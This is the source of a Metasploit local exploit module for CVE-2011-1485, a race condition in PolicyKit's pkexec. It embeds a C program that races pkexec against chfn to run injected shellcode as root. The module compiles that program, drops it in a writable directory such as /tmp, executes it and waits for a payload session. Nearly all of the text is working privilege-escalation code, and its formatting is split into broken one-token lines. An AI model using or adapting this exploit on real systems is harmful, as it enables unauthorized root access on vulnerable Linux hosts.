##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class
Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::
EXE
include Msf::Post::
File
include Msf::Exploit::Local::Linux
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Linux PolicyKit Race Condition Privilege Escalation'
,
'Description'
=> %q(
A
race condition flaw was found
in
the PolicyKit pkexec utility
and
polkitd
daemon.
A
local user could use this flaw to appear as a privileged user to
pkexec, allowing them to execute arbitrary commands as root by running
those commands with pkexec.
Those vulnerable include
RHEL6
prior to polkit-
0
.
96
-
2
.el6_0.
1
and
Ubuntu
libpolkit-backend-
1
prior to
0
.
96
-2ubuntu1.
1
(
10
.
10
)
0
.
96
-2ubuntu0.
1
(
10
.
04
LTS
)
and
0
.
94
-1ubuntu1.
1
(
9
.
10
)
),
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'xi4oyu'
,
# exploit
'0a29406d9794e4f9b30b3c5d6702c708'
# metasploit module
],
'Platform'
=> [
'linux'
],
'Arch'
=> [
ARCH_X86
,
ARCH_X86_64
],
'SessionTypes'
=> [
'shell'
,
'meterpreter'
],
'Targets'
=>
[
[
'Linux x86'
, {
'Arch'
=>
ARCH_X86
} ],
[
'Linux x64'
, {
'Arch'
=>
ARCH_X86_64
} ]
],
'DefaultTarget'
=>
0
,
'References'
=>
[
[
'CVE'
,
'2011-1485'
],
[
'EDB'
,
'17942'
],
[
'OSVDB'
,
'72261'
]
],
'DisclosureDate'
=>
"Apr 01 2011"
))
register_options([
OptString.
new
(
"WritableDir"
, [
true
,
"A directory where we can write files (must not be mounted noexec)"
,
"/tmp"
]),
OptInt.
new
(
"Count"
, [
true
,
"Number of attempts to win the race condition"
,
500
]),
OptInt.
new
(
"ListenerTimeout"
, [
true
,
"Number of seconds to wait for the exploit"
,
60
]),
OptBool.
new
(
"DEBUG"
, [
true
,
"Make the exploit executable be verbose about what it's doing"
,
false
])
])
end
def
executable_path
@executable_path
||= datastore[
"WritableDir"
] +
"/"
+ rand_text_alphanumeric(
8
)
@executable_path
end
def
exploit
main = %q^
/*
* Exploit Title: pkexec Race condition (
CVE
-
2011
-
1485
) exploit
* Author: xi4oyu
* Tested on: rhel
6
*
CVE
:
2011
-
1485
* Linux pkexec exploit by xi4oyu , thx dm
@0x557
.org * Have fun~
* 0a2940: some changes
*/
/*
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
*/
#define dprintf
#define NULL ((void*)0)
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define O_CREAT 64
#define O_RDWR 2
#define POLLRDNORM 0x0040
typedef int __pid_t;
typedef int __time_t;
typedef
struct {
long __val[
2
];
} __quad_t;
typedef __quad_t __dev_t;
typedef long __ino_t;
typedef unsigned long __mode_t;
typedef long __nlink_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef long long __off_t;
typedef long __blksize_t;
typedef long long __blkcnt_t;
struct _stat_buff {
__dev_t st_dev; /* Device. */
unsigned short int __pad1;
__ino_t st_ino; /*
File
serial number. */
__mode_t st_mode; /*
File
mode. */
__nlink_t st_nlink; /* Link count. */
__uid_t st_uid; /* User
ID
of the file's owner. */
__gid_t st_gid; /* Group
ID
of the file's group.*/
__dev_t st_rdev; /* Device number,
if
device. */
unsigned short int __pad2;
__off_t st_size; /* Size of file,
in
bytes. */
__blksize_t st_blksize; /* Optimal block size
for
I
/
O
. */
__blkcnt_t st_blocks; /* Number
512
-byte blocks allocated. */
__time_t st_atime; /*
Time
of last access. */
unsigned long int st_atimensec; /* Nscecs of last access. */
__time_t st_mtime; /*
Time
of last modification. */
unsigned long int st_mtimensec; /* Nsecs of last modification. */
__time_t st_ctime; /*
Time
of last status change. */
unsigned long int st_ctimensec; /* Nsecs of last status change. */
unsigned long int __unused4;
unsigned long int __unused5;
};
struct _pollfd {
int fd; /* file descriptor */
short events; /* requested events */
short revents; /* returned events */
};
typedef unsigned long size_t;
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
extern void exit(int __status);
extern int printf(const char *__format, ...);
extern __pid_t fork(void);
extern __time_t time(__time_t *t);
extern __pid_t getpid(void);
extern __uid_t geteuid(void);
extern void srand(unsigned int seed);
extern int snprintf(char *str, size_t size, const char *format, ...);
extern int pipe(int pipefd[
2
]);
extern int close(int fd);
extern void write(int fd, const void *buf, size_t count);
extern int dup2(int oldfd, int newfd);
extern void perror(const char *__s);
extern void read(int fd, void *buf, size_t count);
extern int execve(const char *filename, char *const argv[], char *const envp);
extern int usleep(int usec);
extern void *memset(void *s, int c, size_t n);
extern void *memcpy(void * dst, const void *src, size_t n);
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
extern char *strstr(const char *haystack, const char *needle);
extern int rand(void);
extern int unlink(const char *__name);
int main(int argc,char *argv[], char ** envp)
{
__time_t tim_seed1;
__pid_t pid_seed2;
int result;
struct _stat_buff stat_buff;
char * chfn_path =
"/usr/bin/chfn"
;
char * cmd_path =
""
;
char * pkexec_argv[] = {
"/usr/bin/pkexec"
,
"/bin/sh"
,
"-c"
,
cmd_path,
NULL
};
int pipe1[
2
];
int pipe2[
2
];
int pipe3[
2
];
__pid_t pid,pid2 ;
char * chfn_argv[] = {
"/usr/bin/chfn"
,
NULL
};
char buff[
8
];
char read_buff[
4096
];
char real_path[
512
];
int count =
0
;
int flag =
0
;
unsigned int usleep1 =
0
;
unsigned int usleep2 =
0
;
tim_seed1 = time(
NULL
);
pid_seed2 = getpid();
srand(tim_seed1+pid_seed2);
if
(!geteuid()){
unlink(cmd_path);
SHELLCODE
int shellcode_size =
0
;
int i;
unsigned long (*func)();
func = mmap(
NULL
, 0x1000,
PROT_READ
|
PROT_WRITE
|
PROT_EXEC
,
MAP_PRIVATE
|
MAP_ANONYMOUS
,
0
,
0
);
mprotect(func,
4096
,
PROT_READ
|
PROT_WRITE
|
PROT_EXEC
);
dprintf(
"Copying %d bytes of shellcode\n"
, shellcode_size);
//
for
(i =
0
; i < shellcode_size; i++) {
//(char)func[i] = (char)shellcode[i];
memcpy(func,shellcode,shellcode_size);
//}
dprintf(
"Forking before calling shellcode: 0x%p\n"
, func);
if
(fork()) {
exit(
0
);
}
func();
}
if
(pipe(pipe1)){
perror(
"pipe"
);
exit(-
2
);
}
for
(count =
COUNT
; count && !flag; count--){
dprintf(
"count %d usleep1 %d usleep2 %d\n"
,count,usleep1,usleep2);
pid = fork();
if
( !pid ){
// Parent
if
( !pipe(pipe2)){
if
(!pipe(pipe3)){
pid2 = fork();
if
(!pid2){
// Parent
2
close(
1
);
close(
2
);
close(pipe1[
0
]);
dup2(pipe1[
1
],
2
);
dup2(pipe1[
1
],
1
);
close(pipe1[
1
]);
close(pipe2[
0
]);
close(pipe3[
1
]);
write(pipe2[
1
],
"\xFF"
,
1
);
read(pipe3[
0
],&buff,
1
);
execve(pkexec_argv[
0
],pkexec_argv,envp);
perror(
"execve pkexec"
);
exit(-
3
);
}
close(
0
);
close(
1
);
close(
2
);
close(pipe2[
1
]);
close(pipe3[
0
]);
read(pipe2[
0
],&buff,
1
);
write(pipe3[
1
],
"\xFF"
,
1
);
usleep(usleep1+usleep2);
execve(chfn_argv[
0
],chfn_argv,envp);
perror(
"execve setuid"
);
exit(
1
);
}
}
perror(
"pipe3"
);
exit(
1
);
}
//Note: This is child, no pipe3 we use poll to monitor pipe1[
0
]
memset(pipe3,
0
,
8
);
struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
pollfd->fd = pipe1[
0
];
pollfd->events =
POLLRDNORM
;
if
(poll(pollfd,
1
,
1000
) <
0
){
perror(
"poll"
);
exit(
1
);
}
if
(pollfd->revents &
POLLRDNORM
){
memset(read_buff,
0
,
4096
);
read(pipe1[
0
],read_buff,
4095
);
if
( strstr(read_buff,
"does not match"
)){
usleep1 +=
100
;
usleep2 = rand() %
1000
;
}
else
{
if
(usleep1 >
0
){
usleep1 -=
100
;
}
}
}
}
result =
0
;
unlink(cmd_path);
return
result;
}
^
main.gsub!(/
SHELLCODE
/, Rex::Text.to_c(payload.encoded,
64
,
"shellcode"
))
main.gsub!(/shellcode_size =
0
/,
"shellcode_size = #{payload.encoded.length}"
)
main.gsub!(/cmd_path =
""
/,
"cmd_path = \"#{executable_path}\""
)
main.gsub!(/
COUNT
/, datastore[
"Count"
].to_s)
main.gsub!(/
#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
cpu =
nil
if
target[
'Arch'
] ==
ARCH_X86
cpu = Metasm::Ia32.
new
elsif
target[
'Arch'
] ==
ARCH_X86_64
cpu = Metasm::
X86_64
.
new
end
begin
elf = Metasm::
ELF
.compile_c(cpu, main).encode_string
rescue
print_error
"Metasm Encoding failed: #{$ERROR_INFO}"
elog
"Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog
"Call stack:\n#{$ERROR_INFO.backtrace.join("
\n
")}"
return
end
print_status
"Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec(
"chmod +x #{executable_path}; #{executable_path}"
)
output.each_line { |line| print_debug line.chomp }
stime =
Time
.now.to_f
print_status
"Starting the payload handler..."
until
session_created? || stime + datastore[
'ListenerTimeout'
] <
Time
.now.to_f
Rex.sleep(
1
)
end
end
end